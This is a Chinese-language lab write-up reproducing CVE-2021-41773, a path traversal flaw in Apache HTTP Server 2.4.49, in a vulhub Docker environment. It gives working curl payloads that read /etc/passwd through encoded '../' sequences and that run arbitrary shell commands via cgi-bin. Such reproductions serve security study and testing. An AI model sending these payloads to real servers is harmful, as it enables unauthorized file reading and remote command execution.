Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)

Apache HTTP Server 2.4.49 路径穿越漏洞复现(CVE-2021-41773)

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

参考链接:https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md

环境启动

进入vulhub/httpd/CVE-2021-41773
docker-compose build
docker-compose up -d

访问本机ip的8080端口

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)_第1张图片

使用curl工具直接访问本地/etc/passwd

curl -v --path-as-is http://192.168.8.143:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)_第2张图片

如果服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;命令" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)_第3张图片

你可能感兴趣的:(apache,安全,渗透测试,网络安全,web安全)